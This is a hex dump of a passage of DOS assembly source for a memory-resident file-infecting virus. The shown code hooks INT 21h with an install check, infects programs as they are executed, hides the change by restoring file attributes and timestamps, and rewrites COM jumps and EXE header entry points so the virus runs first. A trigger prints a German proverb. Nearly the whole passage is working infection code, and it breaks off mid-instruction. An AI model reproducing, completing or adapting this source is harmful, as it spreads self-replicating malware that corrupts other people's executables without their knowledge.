|000010c0| 66 69 6c 65 0a 6f 6c 64 | 53 53 53 50 20 20 20 64 |file.old|SSSP d|
|000010d0| 64 20 3f 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |d ? | |
|000010e0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 3b 20 4f | | ; O|
|000010f0| 72 69 67 69 6e 61 6c 20 | 53 53 3a 53 50 0a 0a 61 |riginal |SS:SP..a|
|00001100| 63 74 69 76 61 74 65 3a | 20 20 20 20 20 20 20 20 |ctivate:| |
|00001110| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001120| 20 20 20 20 20 20 3b 20 | 43 6f 6e 64 69 74 69 6f | ; |Conditio|
|00001130| 6e 73 20 73 61 74 69 73 | 66 69 65 64 0a 20 20 20 |ns satis|fied. |
|00001140| 20 20 20 20 20 6d 6f 76 | 20 20 20 20 20 61 68 2c | mov| ah,|
|00001150| 39 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |9 | |
|00001160| 20 20 20 20 3b 44 4f 53 | 20 70 72 69 6e 74 20 73 | ;DOS| print s|
|00001170| 74 72 69 6e 67 20 66 75 | 6e 63 74 69 6f 6e 20 23 |tring fu|nction #|
|00001180| 0a 20 20 20 20 20 20 20 | 20 6c 65 61 20 20 20 20 |. | lea |
|00001190| 20 64 78 2c 44 53 74 72 | 69 6e 67 20 20 20 20 20 | dx,DStr|ing |
|000011a0| 20 20 20 20 20 20 20 20 | 3b 70 6f 69 6e 74 20 44 | |;point D|
|000011b0| 58 20 74 6f 20 74 68 65 | 20 6f 66 66 73 65 74 20 |X to the| offset |
|000011c0| 6f 66 20 0a 44 61 74 61 | 53 74 72 69 6e 67 0a 20 |of .Data|String. |
|000011d0| 20 20 20 20 20 20 20 69 | 6e 74 20 20 20 20 20 32 | i|nt 2|
|000011e0| 31 68 0a 20 20 20 20 20 | 20 20 20 6d 6f 76 20 20 |1h. | mov |
|000011f0| 20 20 20 61 68 2c 34 63 | 68 20 20 20 20 20 20 20 | ah,4c|h |
|00001200| 20 20 20 20 20 20 20 20 | 20 20 3b 44 4f 53 20 74 | | ;DOS t|
|00001210| 65 72 6d 69 6e 61 74 65 | 20 70 72 6f 67 72 61 6d |erminate| program|
|00001220| 20 66 75 6e 63 74 69 6f | 6e 20 23 0a 20 20 20 20 | functio|n #. |
|00001230| 20 20 20 20 69 6e 74 20 | 20 20 20 20 32 31 68 20 | int | 21h |
|00001240| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001250| 20 20 20 3b 69 6e 76 6f | 6b 65 20 44 4f 53 20 74 | ;invo|ke DOS t|
|00001260| 6f 20 65 6e 64 20 70 72 | 6f 67 72 61 6d 0a 44 53 |o end pr|ogram.DS|
|00001270| 74 72 69 6e 67 20 20 20 | 20 20 20 44 42 20 20 27 |tring | DB '|
|00001280| 45 73 20 69 73 74 20 6e | 69 63 68 74 20 61 6c 6c |Es ist n|icht all|
|00001290| 65 73 20 47 6f 6c 64 2c | 20 77 61 73 20 67 6c 84 |es Gold,| was gl.|
|000012a0| 6e 7a 74 21 24 27 0a 0a | 20 20 20 20 20 20 20 20 |nzt!$'..| |
|000012b0| 20 20 6a 6d 70 20 20 65 | 78 69 74 5f 76 69 72 75 | jmp e|xit_viru|
|000012c0| 73 0a 0a 69 6e 74 32 31 | 3a 20 20 20 20 20 20 20 |s..int21|: |
|000012d0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000012e0| 20 20 20 20 20 20 20 20 | 20 20 20 3b 20 4e 65 77 | | ; New|
|000012f0| 20 69 6e 74 65 72 72 75 | 70 74 20 68 61 6e 64 6c | interru|pt handl|
|00001300| 65 72 0a 20 20 20 20 20 | 20 20 20 20 20 63 6d 70 |er. | cmp|
|00001310| 20 20 61 78 2c 27 56 43 | 27 20 20 20 20 20 20 20 | ax,'VC|' |
|00001320| 20 20 20 20 20 20 20 20 | 20 20 20 3b 20 49 6e 73 | | ; Ins|
|00001330| 74 61 6c 6c 61 74 69 6f | 6e 20 63 68 65 63 6b 3f |tallatio|n check?|
|00001340| 0a 20 20 20 20 20 20 20 | 20 20 20 6a 6e 7a 20 20 |. | jnz |
|00001350| 6e 6f 74 69 6e 73 74 61 | 6c 6c 0a 20 20 20 20 20 |notinsta|ll. |
|00001360| 20 20 20 20 20 6d 6f 76 | 20 20 61 78 2c 27 50 53 | mov| ax,'PS|
|00001370| 27 0a 20 20 20 20 20 20 | 20 20 20 20 69 72 65 74 |'. | iret|
|00001380| 0a 6e 6f 74 69 6e 73 74 | 61 6c 6c 3a 0a 20 20 20 |.notinst|all:. |
|00001390| 20 20 20 20 20 20 20 70 | 75 73 68 66 0a 20 20 20 | p|ushf. |
|000013a0| 20 20 20 20 20 20 20 70 | 75 73 68 20 61 78 0a 20 | p|ush ax. |
|000013b0| 20 20 20 20 20 20 20 20 | 20 70 75 73 68 20 62 78 | | push bx|
|000013c0| 0a 20 20 20 20 20 20 20 | 20 20 20 70 75 73 68 20 |. | push |
|000013d0| 63 78 0a 20 20 20 20 20 | 20 20 20 20 20 70 75 73 |cx. | pus|
|000013e0| 68 20 64 78 0a 20 20 20 | 20 20 20 20 20 20 20 70 |h dx. | p|
|000013f0| 75 73 68 20 73 69 0a 20 | 20 20 20 20 20 20 20 20 |ush si. | |
|00001400| 20 70 75 73 68 20 64 69 | 20 20 20 20 20 20 20 20 | push di| |
|00001410| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 3b | | ;|
|00001420| 20 64 6f 6e 27 74 20 6e | 65 65 64 20 74 6f 20 73 | don't n|eed to s|
|00001430| 61 76 65 20 62 70 0a 20 | 20 20 20 20 20 20 20 20 |ave bp. | |
|00001440| 20 70 75 73 68 20 64 73 | 0a 20 20 20 20 20 20 20 | push ds|. |
|00001450| 20 20 20 70 75 73 68 20 | 65 73 0a 20 20 20 20 20 | push |es. |
|00001460| 20 20 20 20 20 63 6d 70 | 20 20 61 78 2c 34 62 30 | cmp| ax,4b0|
|00001470| 30 68 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |0h | |
|00001480| 20 20 20 3b 20 49 6e 66 | 65 63 74 20 6f 6e 20 65 | ; Inf|ect on e|
|00001490| 78 65 63 75 74 65 0a 20 | 20 20 20 20 20 20 20 20 |xecute. | |
|000014a0| 20 6a 7a 20 20 20 69 6e | 66 65 63 74 44 53 44 58 | jz in|fectDSDX|
|000014b0| 0a 65 78 69 74 68 61 6e | 64 6c 65 72 3a 0a 20 20 |.exithan|dler:. |
|000014c0| 20 20 20 20 20 20 20 20 | 70 6f 70 20 20 65 73 0a | |pop es.|
|000014d0| 20 20 20 20 20 20 20 20 | 20 20 70 6f 70 20 20 64 | | pop d|
|000014e0| 73 0a 20 20 20 20 20 20 | 20 20 20 20 70 6f 70 20 |s. | pop |
|000014f0| 20 64 69 0a 20 20 20 20 | 20 20 20 20 20 20 70 6f | di. | po|
|00001500| 70 20 20 73 69 0a 20 20 | 20 20 20 20 20 20 20 20 |p si. | |
|00001510| 70 6f 70 20 20 64 78 0a | 20 20 20 20 20 20 20 20 |pop dx.| |
|00001520| 20 20 70 6f 70 20 20 63 | 78 0a 20 20 20 20 20 20 | pop c|x. |
|00001530| 20 20 20 20 70 6f 70 20 | 20 62 78 0a 20 20 20 20 | pop | bx. |
|00001540| 20 20 20 20 20 20 70 6f | 70 20 20 61 78 0a 20 20 | po|p ax. |
|00001550| 20 20 20 20 20 20 20 20 | 70 6f 70 66 0a 20 20 20 | |popf. |
|00001560| 20 20 20 20 20 20 20 64 | 62 20 30 65 61 68 20 20 | d|b 0eah |
|00001570| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001580| 20 20 20 20 20 3b 20 4a | 4d 50 20 53 53 53 53 3a | ; J|MP SSSS:|
|00001590| 4f 4f 4f 4f 0a 6f 6c 64 | 69 6e 74 32 31 20 20 64 |OOOO.old|int21 d|
|000015a0| 64 20 3f 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |d ? | |
|000015b0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 3b 20 47 | | ; G|
|000015c0| 6f 20 74 6f 20 6f 72 69 | 67 20 68 61 6e 64 6c 65 |o to ori|g handle|
|000015d0| 72 0a 0a 69 6e 66 65 63 | 74 44 53 44 58 3a 0a 20 |r..infec|tDSDX:. |
|000015e0| 20 20 20 20 20 20 20 20 | 20 6d 6f 76 20 20 61 78 | | mov ax|
|000015f0| 2c 34 33 30 30 68 0a 20 | 20 20 20 20 20 20 20 20 |,4300h. | |
|00001600| 20 69 6e 74 20 20 32 31 | 68 0a 20 20 20 20 20 20 | int 21|h. |
|00001610| 20 20 20 20 70 75 73 68 | 20 64 73 0a 20 20 20 20 | push| ds. |
|00001620| 20 20 20 20 20 20 70 75 | 73 68 20 64 78 0a 20 20 | pu|sh dx. |
|00001630| 20 20 20 20 20 20 20 20 | 70 75 73 68 20 63 78 20 | |push cx |
|00001640| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001650| 20 20 20 20 20 20 3b 20 | 53 61 76 65 20 61 74 74 | ; |Save att|
|00001660| 72 69 62 75 74 65 73 0a | 20 20 20 20 20 20 20 20 |ributes.| |
|00001670| 20 20 78 6f 72 20 20 63 | 78 2c 63 78 20 20 20 20 | xor c|x,cx |
|00001680| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001690| 3b 20 43 6c 65 61 72 20 | 61 74 74 72 69 62 75 74 |; Clear |attribut|
|000016a0| 65 73 0a 20 20 20 20 20 | 20 20 20 20 20 63 61 6c |es. | cal|
|000016b0| 6c 20 61 74 74 72 69 62 | 75 74 65 73 20 20 20 20 |l attrib|utes |
|000016c0| 20 20 20 20 20 20 20 20 | 20 20 20 3b 20 53 65 74 | | ; Set|
|000016d0| 20 66 69 6c 65 20 61 74 | 74 72 69 62 75 74 65 73 | file at|tributes|
|000016e0| 0a 0a 20 20 20 20 20 20 | 20 20 20 20 6d 6f 76 20 |.. | mov |
|000016f0| 20 61 78 2c 33 64 30 32 | 68 20 20 20 20 20 20 20 | ax,3d02|h |
|00001700| 20 20 20 20 20 20 20 20 | 20 20 3b 20 4f 70 65 6e | | ; Open|
|00001710| 20 72 65 61 64 2f 77 72 | 69 74 65 0a 20 20 20 20 | read/wr|ite. |
|00001720| 20 20 20 20 20 20 69 6e | 74 20 20 32 31 68 0a 20 | in|t 21h. |
|00001730| 20 20 20 20 20 20 20 20 | 20 78 63 68 67 20 61 78 | | xchg ax|
|00001740| 2c 62 78 0a 0a 20 20 20 | 20 20 20 20 20 20 20 6d |,bx.. | m|
|00001750| 6f 76 20 20 61 78 2c 35 | 37 30 30 68 20 20 20 20 |ov ax,5|700h |
|00001760| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 3b 20 47 | | ; G|
|00001770| 65 74 20 63 72 65 61 74 | 69 6f 6e 20 64 61 74 65 |et creat|ion date|
|00001780| 2f 74 69 6d 65 0a 20 20 | 20 20 20 20 20 20 20 20 |/time. | |
|00001790| 69 6e 74 20 20 32 31 68 | 0a 20 20 20 20 20 20 20 |int 21h|. |
|000017a0| 20 20 20 70 75 73 68 20 | 63 78 20 20 20 20 20 20 | push |cx |
|000017b0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000017c0| 20 3b 20 53 61 76 65 20 | 64 61 74 65 20 61 6e 64 | ; Save |date and|
|000017d0| 0a 20 20 20 20 20 20 20 | 20 20 20 70 75 73 68 20 |. | push |
|000017e0| 64 78 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |dx | |
|000017f0| 20 20 20 20 20 20 20 20 | 20 3b 20 74 69 6d 65 0a | | ; time.|
|00001800| 0a 20 20 20 20 20 20 20 | 20 20 20 70 75 73 68 20 |. | push |
|00001810| 63 73 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |cs | |
|00001820| 20 20 20 20 20 20 20 20 | 20 3b 20 44 53 20 3d 20 | | ; DS = |
|00001830| 43 53 0a 20 20 20 20 20 | 20 20 20 20 20 70 6f 70 |CS. | pop|
|00001840| 20 20 64 73 0a 20 20 20 | 20 20 20 20 20 20 20 70 | ds. | p|
|00001850| 75 73 68 20 63 73 20 20 | 20 20 20 20 20 20 20 20 |ush cs | |
|00001860| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 3b 20 45 | | ; E|
|00001870| 53 20 3d 20 43 53 0a 20 | 20 20 20 20 20 20 20 20 |S = CS. | |
|00001880| 20 70 6f 70 20 20 65 73 | 0a 20 20 20 20 20 20 20 | pop es|. |
|00001890| 20 20 20 6d 6f 76 20 20 | 61 68 2c 33 66 68 20 20 | mov |ah,3fh |
|000018a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000018b0| 20 3b 20 52 65 61 64 20 | 66 69 6c 65 20 74 6f 20 | ; Read |file to |
|000018c0| 62 75 66 66 65 72 0a 20 | 20 20 20 20 20 20 20 20 |buffer. | |
|000018d0| 20 6d 6f 76 20 20 64 78 | 2c 6f 66 66 73 65 74 20 | mov dx|,offset |
|000018e0| 62 75 66 66 65 72 20 20 | 20 20 20 20 20 20 20 3b |buffer | ;|
|000018f0| 20 40 20 44 53 3a 44 58 | 0a 20 20 20 20 20 20 20 | @ DS:DX|. |
|00001900| 20 20 20 6d 6f 76 20 20 | 63 78 2c 31 41 68 20 20 | mov |cx,1Ah |
|00001910| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001920| 20 3b 20 31 41 68 20 62 | 79 74 65 73 0a 20 20 20 | ; 1Ah b|ytes. |
|00001930| 20 20 20 20 20 20 20 69 | 6e 74 20 20 32 31 68 0a | i|nt 21h.|
|00001940| 0a 20 20 20 20 20 20 20 | 20 20 20 6d 6f 76 20 20 |. | mov |
|00001950| 61 78 2c 34 32 30 32 68 | 20 20 20 20 20 20 20 20 |ax,4202h| |
|00001960| 20 20 20 20 20 20 20 20 | 20 3b 20 47 6f 20 74 6f | | ; Go to|
|00001970| 20 65 6e 64 20 6f 66 20 | 66 69 6c 65 0a 20 20 20 | end of |file. |
|00001980| 20 20 20 20 20 20 20 78 | 6f 72 20 20 63 78 2c 63 | x|or cx,c|
|00001990| 78 0a 20 20 20 20 20 20 | 20 20 20 20 63 77 64 0a |x. | cwd.|
|000019a0| 20 20 20 20 20 20 20 20 | 20 20 69 6e 74 20 20 32 | | int 2|
|000019b0| 31 68 0a 0a 20 20 20 20 | 20 20 20 20 20 20 6d 6f |1h.. | mo|
|000019c0| 76 20 20 77 6f 72 64 20 | 70 74 72 20 66 69 6c 65 |v word |ptr file|
|000019d0| 73 69 7a 65 2c 61 78 0a | 20 20 20 20 20 20 20 20 |size,ax.| |
|000019e0| 20 20 6d 6f 76 20 20 77 | 6f 72 64 20 70 74 72 20 | mov w|ord ptr |
|000019f0| 66 69 6c 65 73 69 7a 65 | 2b 32 2c 64 78 0a 20 20 |filesize|+2,dx. |
|00001a00| 20 20 20 20 20 20 20 20 | 63 6d 70 20 20 77 6f 72 | |cmp wor|
|00001a10| 64 20 70 74 72 20 62 75 | 66 66 65 72 2c 27 5a 4d |d ptr bu|ffer,'ZM|
|00001a20| 27 20 20 20 20 20 3b 20 | 45 58 45 3f 0a 20 20 20 |' ; |EXE?. |
|00001a30| 20 20 20 20 20 20 20 6a | 7a 20 20 20 63 68 65 63 | j|z chec|
|00001a40| 6b 45 58 45 20 20 20 20 | 20 20 20 20 20 20 20 20 |kEXE | |
|00001a50| 20 20 20 20 20 3b 20 57 | 68 79 20 79 65 73 2c 20 | ; W|hy yes, |
|00001a60| 79 65 73 20 69 74 20 69 | 73 21 0a 63 68 65 63 6b |yes it i|s!.check|
|00001a70| 43 4f 4d 3a 0a 20 20 20 | 20 20 20 20 20 20 20 6d |COM:. | m|
|00001a80| 6f 76 20 20 61 78 2c 77 | 6f 72 64 20 70 74 72 20 |ov ax,w|ord ptr |
|00001a90| 66 69 6c 65 73 69 7a 65 | 0a 20 20 20 20 20 20 20 |filesize|. |
|00001aa0| 20 20 20 6d 6f 76 20 20 | 63 78 2c 77 6f 72 64 20 | mov |cx,word |
|00001ab0| 70 74 72 20 62 75 66 66 | 65 72 2b 31 20 20 20 20 |ptr buff|er+1 |
|00001ac0| 20 3b 20 67 65 74 20 6a | 6d 70 20 6c 6f 63 61 74 | ; get j|mp locat|
|00001ad0| 69 6f 6e 0a 20 20 20 20 | 20 20 20 20 20 20 61 64 |ion. | ad|
|00001ae0| 64 20 20 63 78 2c 68 65 | 61 70 2d 73 74 61 72 74 |d cx,he|ap-start|
|00001af0| 76 69 72 75 73 2b 33 20 | 20 20 20 20 3b 20 41 64 |virus+3 | ; Ad|
|00001b00| 6a 75 73 74 20 66 6f 72 | 20 76 69 72 75 73 20 73 |just for| virus s|
|00001b10| 69 7a 65 0a 20 20 20 20 | 20 20 20 20 20 20 63 6d |ize. | cm|
|00001b20| 70 20 20 61 78 2c 63 78 | 20 20 20 20 20 20 20 20 |p ax,cx| |
|00001b30| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 20 41 6c | | ; Al|
|00001b40| 72 65 61 64 79 20 69 6e | 66 65 63 74 65 64 3f 0a |ready in|fected?.|
|00001b50| 20 20 20 20 20 20 20 20 | 20 20 6a 65 20 20 20 64 | | je d|
|00001b60| 6f 6e 65 5f 66 69 6c 65 | 0a 20 20 20 20 20 20 20 |one_file|. |
|00001b70| 20 20 20 6a 6d 70 20 20 | 69 6e 66 65 63 74 5f 63 | jmp |infect_c|
|00001b80| 6f 6d 0a 63 68 65 63 6b | 45 58 45 3a 0a 20 20 20 |om.check|EXE:. |
|00001b90| 20 20 20 20 20 20 20 63 | 6d 70 20 20 77 6f 72 64 | c|mp word|
|00001ba0| 20 70 74 72 20 62 75 66 | 66 65 72 2b 31 30 68 2c | ptr buf|fer+10h,|
|00001bb0| 69 64 20 20 20 3b 20 69 | 73 20 69 74 20 61 6c 72 |id ; i|s it alr|
|00001bc0| 65 61 64 79 20 69 6e 66 | 65 63 74 65 64 3f 0a 20 |eady inf|ected?. |
|00001bd0| 20 20 20 20 20 20 20 20 | 20 6a 6e 7a 20 20 69 6e | | jnz in|
|00001be0| 66 65 63 74 5f 65 78 65 | 0a 64 6f 6e 65 5f 66 69 |fect_exe|.done_fi|
|00001bf0| 6c 65 3a 0a 20 20 20 20 | 20 20 20 20 20 20 6d 6f |le:. | mo|
|00001c00| 76 20 20 61 78 2c 35 37 | 30 31 68 20 20 20 20 20 |v ax,57|01h |
|00001c10| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 20 52 65 | | ; Re|
|00001c20| 73 74 6f 72 65 20 63 72 | 65 61 74 69 6f 6e 20 64 |store cr|eation d|
|00001c30| 61 74 65 2f 74 69 6d 65 | 0a 20 20 20 20 20 20 20 |ate/time|. |
|00001c40| 20 20 20 70 6f 70 20 20 | 64 78 20 20 20 20 20 20 | pop |dx |
|00001c50| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001c60| 20 3b 20 52 65 73 74 6f | 72 65 20 64 61 74 65 20 | ; Resto|re date |
|00001c70| 61 6e 64 0a 20 20 20 20 | 20 20 20 20 20 20 70 6f |and. | po|
|00001c80| 70 20 20 63 78 20 20 20 | 20 20 20 20 20 20 20 20 |p cx | |
|00001c90| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 20 74 69 | | ; ti|
|00001ca0| 6d 65 0a 20 20 20 20 20 | 20 20 20 20 20 69 6e 74 |me. | int|
|00001cb0| 20 20 32 31 68 0a 0a 20 | 20 20 20 20 20 20 20 20 | 21h.. | |
|00001cc0| 20 6d 6f 76 20 20 61 68 | 2c 33 65 68 20 20 20 20 | mov ah|,3eh |
|00001cd0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 3b | | ;|
|00001ce0| 20 43 6c 6f 73 65 20 66 | 69 6c 65 0a 20 20 20 20 | Close f|ile. |
|00001cf0| 20 20 20 20 20 20 69 6e | 74 20 20 32 31 68 0a 0a | in|t 21h..|
|00001d00| 20 20 20 20 20 20 20 20 | 20 20 70 6f 70 20 20 63 | | pop c|
|00001d10| 78 0a 20 20 20 20 20 20 | 20 20 20 20 70 6f 70 20 |x. | pop |
|00001d20| 20 64 78 0a 20 20 20 20 | 20 20 20 20 20 20 70 6f | dx. | po|
|00001d30| 70 20 20 64 73 20 20 20 | 20 20 20 20 20 20 20 20 |p ds | |
|00001d40| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 20 52 65 | | ; Re|
|00001d50| 73 74 6f 72 65 20 66 69 | 6c 65 6e 61 6d 65 0a 20 |store fi|lename. |
|00001d60| 20 20 20 20 20 20 20 20 | 20 63 61 6c 6c 20 61 74 | | call at|
|00001d70| 74 72 69 62 75 74 65 73 | 20 20 20 20 20 20 20 20 |tributes| |
|00001d80| 20 20 20 20 20 20 20 3b | 20 61 74 74 72 69 62 75 | ;| attribu|
|00001d90| 74 65 73 0a 0a 20 20 20 | 20 20 20 20 20 20 20 6a |tes.. | j|
|00001da0| 6d 70 20 20 65 78 69 74 | 68 61 6e 64 6c 65 72 0a |mp exit|handler.|
|00001db0| 69 6e 66 65 63 74 5f 65 | 78 65 3a 0a 20 20 20 20 |infect_e|xe:. |
|00001dc0| 20 20 20 20 20 20 6d 6f | 76 20 20 63 78 2c 20 31 | mo|v cx, 1|
|00001dd0| 61 68 0a 20 20 20 20 20 | 20 20 20 20 20 70 75 73 |ah. | pus|
|00001de0| 68 20 63 78 0a 20 20 20 | 20 20 20 20 20 20 20 70 |h cx. | p|
|00001df0| 75 73 68 20 62 78 20 20 | 20 20 20 20 20 20 20 20 |ush bx | |
|00001e00| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 3b 20 53 | | ; S|
|00001e10| 61 76 65 20 66 69 6c 65 | 20 68 61 6e 64 6c 65 0a |ave file| handle.|
|00001e20| 20 20 20 20 20 20 20 20 | 20 20 6c 65 73 20 20 61 | | les a|
|00001e30| 78 2c 64 77 6f 72 64 20 | 70 74 72 20 62 75 66 66 |x,dword |ptr buff|
|00001e40| 65 72 2b 31 34 68 20 20 | 3b 20 53 61 76 65 20 6f |er+14h |; Save o|
|00001e50| 6c 64 20 65 6e 74 72 79 | 20 70 6f 69 6e 74 0a 20 |ld entry| point. |
|00001e60| 20 20 20 20 20 20 20 20 | 20 6d 6f 76 20 20 77 6f | | mov wo|
|00001e70| 72 64 20 70 74 72 20 6f | 6c 64 43 53 49 50 2c 20 |rd ptr o|ldCSIP, |
|00001e80| 61 78 0a 20 20 20 20 20 | 20 20 20 20 20 6d 6f 76 |ax. | mov|
|00001e90| 20 20 77 6f 72 64 20 70 | 74 72 20 6f 6c 64 43 53 | word p|tr oldCS|
|00001ea0| 49 50 2b 32 2c 20 65 73 | 0a 0a 20 20 20 20 20 20 |IP+2, es|.. |
|00001eb0| 20 20 20 20 6c 65 73 20 | 20 61 78 2c 64 77 6f 72 | les | ax,dwor|
|00001ec0| 64 20 70 74 72 20 62 75 | 66 66 65 72 2b 30 45 68 |d ptr bu|ffer+0Eh|
|00001ed0| 20 20 3b 20 53 61 76 65 | 20 6f 6c 64 20 73 74 61 | ; Save| old sta|
|00001ee0| 63 6b 0a 20 20 20 20 20 | 20 20 20 20 20 6d 6f 76 |ck. | mov|
|00001ef0| 20 20 77 6f 72 64 20 70 | 74 72 20 6f 6c 64 53 53 | word p|tr oldSS|
|00001f00| 53 50 2c 65 73 0a 20 20 | 20 20 20 20 20 20 20 20 |SP,es. | |
|00001f10| 6d 6f 76 20 20 77 6f 72 | 64 20 70 74 72 20 6f 6c |mov wor|d ptr ol|
|00001f20| 64 53 53 53 50 2b 32 2c | 61 78 0a 0a 20 20 20 20 |dSSSP+2,|ax.. |
|00001f30| 20 20 20 20 20 20 6d 6f | 76 20 20 61 78 2c 77 6f | mo|v ax,wo|
|00001f40| 72 64 20 70 74 72 20 62 | 75 66 66 65 72 2b 38 20 |rd ptr b|uffer+8 |
|00001f50| 20 20 20 20 3b 20 47 65 | 74 20 68 65 61 64 65 72 | ; Ge|t header|
|00001f60| 20 73 69 7a 65 0a 20 20 | 20 20 20 20 20 20 20 20 | size. | |
|00001f70| 6d 6f 76 20 20 63 6c 2c | 20 34 20 20 20 20 20 20 |mov cl,| 4 |
|00001f80| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 20 | | ; |
|00001f90| 63 6f 6e 76 65 72 74 20 | 74 6f 20 62 79 74 65 73 |convert |to bytes|
|00001fa0| 0a 20 20 20 20 20 20 20 | 20 20 20 73 68 6c 20 20 |. | shl |
|00001fb0| 61 78 2c 20 63 6c 0a 20 | 20 20 20 20 20 20 20 20 |ax, cl. | |
|00001fc0| 20 78 63 68 67 20 61 78 | 2c 20 62 78 0a 0a 20 20 | xchg ax|, bx.. |
|00001fd0| 20 20 20 20 20 20 20 20 | 6c 65 73 20 20 61 78 2c | |les ax,|
|00001fe0| 64 77 6f 72 64 20 70 74 | 72 20 66 69 6c 65 73 69 |dword pt|r filesi|
|00001ff0| 7a 65 20 20 20 20 3b 20 | 47 65 74 20 66 69 6c 65 |ze ; |Get file|
|00002000| 20 73 69 7a 65 0a 20 20 | 20 20 20 20 20 20 20 20 | size. | |
|00002010| 6d 6f 76 20 20 64 78 2c | 20 65 73 20 20 20 20 20 |mov dx,| es |
|00002020| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 20 | | ; |
|00002030| 74 6f 20 44 58 3a 41 58 | 0a 20 20 20 20 20 20 20 |to DX:AX|. |
|00002040| 20 20 20 70 75 73 68 20 | 61 78 0a 20 20 20 20 20 | push |ax. |
|00002050| 20 20 20 20 20 70 75 73 | 68 20 64 78 0a 0a 20 20 | pus|h dx.. |
|00002060| 20 20 20 20 20 20 20 20 | 73 75 62 20 20 61 78 2c | |sub ax,|
|00002070| 20 62 78 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | bx | |
|00002080| 20 20 20 20 20 20 3b 20 | 53 75 62 74 72 61 63 74 | ; |Subtract|
|00002090| 20 68 65 61 64 65 72 20 | 73 69 7a 65 20 66 72 6f | header |size fro|
|000020a0| 6d 0a 20 20 20 20 20 20 | 20 20 20 20 73 62 62 20 |m. | sbb |
|000020b0| 20 64 78 2c 20 30 20 20 | 20 20 20 20 20 20 20 20 | dx, 0 | |
|000020c0| 20 20 20 20 20 20 20 20 | 20 20 3b 20 66 69 6c 65 | | ; file|
|000020d0| 20 73 69 7a 65 0a 0a 20 | 20 20 20 20 20 20 20 20 | size.. | |
|000020e0| 20 6d 6f 76 20 20 63 78 | 2c 20 31 30 68 20 20 20 | mov cx|, 10h |
|000020f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 3b | | ;|
|00002100| 20 43 6f 6e 76 65 72 74 | 20 74 6f 20 73 65 67 6d | Convert| to segm|
|00002110| 65 6e 74 3a 6f 66 66 73 | 65 74 0a 20 20 20 20 20 |ent:offs|et. |
|00002120| 20 20 20 20 20 64 69 76 | 20 20 63 78 20 20 20 20 | div| cx |
|00002130| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002140| 20 20 20 3b 20 66 6f 72 | 6d 0a 0a 20 20 20 20 20 | ; for|m.. |
|00002150| 20 20 20 20 20 6d 6f 76 | 20 20 77 6f 72 64 20 70 | mov| word p|
|00002160| 74 72 20 62 75 66 66 65 | 72 2b 31 34 68 2c 20 64 |tr buffe|r+14h, d|
|00002170| 78 20 20 3b 20 4e 65 77 | 20 65 6e 74 72 79 20 70 |x ; New| entry p|
|00002180| 6f 69 6e 74 0a 20 20 20 | 20 20 20 20 20 20 20 6d |oint. | m|
|00002190| 6f 76 20 20 77 6f 72 64 | 20 70 74 72 20 62 75 66 |ov word| ptr buf|
|000021a0| 66 65 72 2b 31 36 68 2c | 20 61 78 0a 0a 20 20 20 |fer+16h,| ax.. |
|000021b0| 20 20 20 20 20 20 20 6d | 6f 76 20 20 77 6f 72 64 | m|ov word|
|000021c0| 20 70 74 72 20 62 75 66 | 66 65 72 2b 30 45 68 2c | ptr buf|fer+0Eh,|
|000021d0| 20 61 78 20 20 3b 20 61 | 6e 64 20 73 74 61 63 6b | ax ; a|nd stack|
|000021e0| 0a 20 20 20 20 20 20 20 | 20 20 20 6d 6f 76 20 20 |. | mov |
|000021f0| 77 6f 72 64 20 70 74 72 | 20 62 75 66 66 65 72 2b |word ptr| buffer+|
|00002200| 31 30 68 2c 20 69 64 0a | 0a 20 20 20 20 20 20 20 |10h, id.|. |
|00002210| 20 20 20 70 6f 70 20 20 | 64 78 20 20 20 20 20 20 | pop |dx |
|00002220| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002230| 20 3b 20 67 65 74 20 66 | 69 6c 65 20 6c 65 6e 67 | ; get f|ile leng|
|00002240| 74 68 0a 20 20 20 20 20 | 20 20 20 20 20 70 6f 70 |th. | pop|
|00002250| 20 20 61 78 0a 20 20 20 | 20 20 20 20 20 20 20 70 | ax. | p|
|00002260| 6f 70 20 20 62 78 20 20 | 20 20 20 20 20 20 20 20 |op bx | |
|00002270| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 3b 20 52 | | ; R|
|00002280| 65 73 74 6f 72 65 20 66 | 69 6c 65 20 68 61 6e 64 |estore f|ile hand|
|00002290| 6c 65 0a 0a 20 20 20 20 | 20 20 20 20 20 20 61 64 |le.. | ad|
|000022a0| 64 20 20 61 78 2c 20 68 | 65 61 70 2d 73 74 61 72 |d ax, h|eap-star|
